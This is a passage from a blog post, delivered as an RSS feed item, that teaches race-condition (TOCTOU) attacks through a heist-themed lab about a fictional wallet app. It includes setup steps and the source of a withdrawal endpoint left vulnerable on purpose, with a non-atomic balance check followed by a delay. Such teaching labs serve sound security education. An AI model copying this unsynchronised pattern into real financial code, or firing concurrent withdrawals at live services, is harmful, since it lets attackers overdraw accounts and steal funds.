<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Hafiz Shamnad</title>
    <description>The latest articles on Forem by Hafiz Shamnad (@hafiz_shamnad).</description>
    <link>https://forem.com/hafiz_shamnad</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3737937%2F81d316b9-99e0-4890-b39e-4c02f666615e.png</url>
      <title>Forem: Hafiz Shamnad</title>
      <link>https://forem.com/hafiz_shamnad</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/hafiz_shamnad"/>
    <language>en</language>
    <item>
      <title>Day 21 — The Heist in Milliseconds — Cracking NovaPay with a Race Condition TOCTOU Attack</title>
      <dc:creator>Hafiz Shamnad</dc:creator>
      <pubDate>Mon, 09 Mar 2026 05:19:38 +0000</pubDate>
      <link>https://forem.com/hafiz_shamnad/day-21-the-heist-in-milliseconds-cracking-novapay-with-a-race-condition-toctou-attack-2i0j</link>
      <guid>https://forem.com/hafiz_shamnad/day-21-the-heist-in-milliseconds-cracking-novapay-with-a-race-condition-toctou-attack-2i0j</guid>
      <description>&lt;p&gt;&lt;em&gt;March 9, 2026 — Day 21 of 30 Days of Security Engineering&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Picture this: It's a rainy Tuesday afternoon in a nondescript fintech startup's office in San Francisco. The team at NovaPay — a shiny new digital wallet app — is celebrating their latest milestone: 10,000 users onboarded, with seamless withdrawals powering the growth. Their API is "bulletproof," they say. But unbeknownst to them, a subtle flaw lurks in the shadows: a &lt;strong&gt;race condition vulnerability&lt;/strong&gt;, specifically a &lt;strong&gt;Time-of-Check to Time-of-Use (TOCTOU)&lt;/strong&gt; bug in the withdrawal endpoint. It's not a flashy SQL injection or XSS; it's a silent assassin that exploits concurrency, turning a 2-second delay into a crowbar for digital theft.&lt;/p&gt;

&lt;p&gt;In this case study, we'll dive into the breach like a red team op. I'll walk you through the vulnerability discovery, the architecture of our mini-lab (a self-contained "bank" you can spin up), the exploit mechanics, and the fixes that turn this house of cards back into Fort Knox. By the end, you'll have hands-on code, a live demo frontend, and the tools to hunt these bugs in your own systems. Think of it as a tiny CTF challenge wrapped in a heist story — because security isn't just code; it's narrative.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Setup: NovaPay's House of Cards
&lt;/h2&gt;

&lt;p&gt;NovaPay's core flow is simple: Users hit &lt;code&gt;/withdraw?amount=300&lt;/code&gt; to pull funds from their wallet. The server peeks at the balance (say, $1,000), nods approvingly, then — crucially — pauses for 2 seconds to simulate real-world friction like database commits or fraud scans. Only then does it deduct the cash.&lt;/p&gt;

&lt;p&gt;Sounds airtight? In a single-threaded world, maybe. But users don't withdraw in isolation. What if &lt;em&gt;five&lt;/em&gt; requests flood in at once? All five "peek" the $1,000 balance and pass the check &lt;em&gt;before&lt;/em&gt; any deduction hits. Boom: $1,500 vanishes from a $1,000 account. The bank's ledger? A chaotic -$500.&lt;/p&gt;

&lt;p&gt;This is TOCTOU in action: The &lt;strong&gt;Time of Check&lt;/strong&gt; (balance &amp;gt;= amount?) happens, but by the &lt;strong&gt;Time of Use&lt;/strong&gt; (deduct!), the state has shifted. No locks, no atomicity — just a shared dictionary begging for concurrency chaos.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical (CWE-362: Concurrent Execution Using Shared Resource with Improper Synchronization). In the wild, this has drained accounts (think double-spending in crypto) and earned bug bounties from $5K to $30K.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab Architecture: Your Personal Bank Heist Simulator
&lt;/h2&gt;

&lt;p&gt;We've containerized this as a full-stack lab: A FastAPI backend (vulnerable by design) + a sleek React-like HTML frontend for "legit" banking and exploit controls. Spin it up locally, play the user, then flip to attacker mode.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;race_condition_lab/
│
├── server_vulnerable.py     # The flawed NovaPay API
├── index.html               # Interactive banking UI + exploit panel
├── exploit.py               # Python script for scripted attacks (bonus)
├── server_fixed_lock.py     # Fix #1: Threading locks
├── server_fixed_atomic.py   # Fix #2: Atomic subtraction
├── requirements.txt         # FastAPI, Uvicorn, Requests
└── README.md                # Quickstart
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Quickstart: Boot the Bank
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Clone &amp;amp; Install&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   mkdir race_condition_lab &amp;amp;&amp;amp; cd race_condition_lab
   pip install fastapi uvicorn requests
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;requirements.txt&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   fastapi
   uvicorn
   requests
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Fire Up the Server&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   uvicorn server_vulnerable:app --reload --port 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;API live at &lt;code&gt;http://127.0.0.1:8000&lt;/code&gt;. CORS enabled for the frontend.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Launch the UI&lt;/strong&gt;:&lt;br&gt;
Open &lt;code&gt;index.html&lt;/code&gt; in your browser (serves from &lt;code&gt;file://&lt;/code&gt; or host via &lt;code&gt;python -m http.server 8080&lt;/code&gt;). It auto-fetches balance and transactions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Test Legit&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hit &lt;code&gt;/balance&lt;/code&gt;: &lt;code&gt;{"balance": 1000, "owner": "Alex Johnson", "account": "****4291", "transactions": []}&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Withdraw $300 via UI: Success, balance drops to $700.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now, the fun begins.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Flaw Exposed: Vulnerable Server Code
&lt;/h2&gt;

&lt;p&gt;Here's the heart of the breach — &lt;code&gt;server_vulnerable.py&lt;/code&gt;. Notice the fatal gap: Check, sleep, deduct. No synchronization.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi.middleware.cors&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;CORSMiddleware&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;CORSMiddleware&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;allow_origins&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;allow_methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;allow_headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Simulated database — shared state, no locks
&lt;/span&gt;&lt;span class="n"&gt;wallet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;owner&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Alex Johnson&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;account&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;****4291&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transactions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nd"&gt;@app.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;home&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;message&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;NovaPay Banking API&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nd"&gt;@app.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;owner&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;owner&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;account&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;account&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transactions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transactions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/withdraw&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# ⚠️ VULNERABILITY: Check-then-act race condition
&lt;/span&gt;    &lt;span class="c1"&gt;# The balance check and deduction are NOT atomic
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# Simulate real-world processing delay (DB call, fraud check, etc.)
&lt;/span&gt;        &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c1"&gt;# By the time we get here, another request may have already
&lt;/span&gt;        &lt;span class="c1"&gt;# deducted the balance — but we already passed the check above!
&lt;/span&gt;        &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;
        &lt;span class="n"&gt;tx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transactions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;debit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;amount&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;timestamp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;%H:%M:%S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transactions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;withdrawn&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;new_balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transaction_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;failed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;message&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Insufficient funds&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/deposit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;
    &lt;span class="n"&gt;tx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transactions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;credit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;amount&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;timestamp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;%H:%M:%S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;transactions&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;new_balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;

&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/reset&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;reset&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;balance&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;
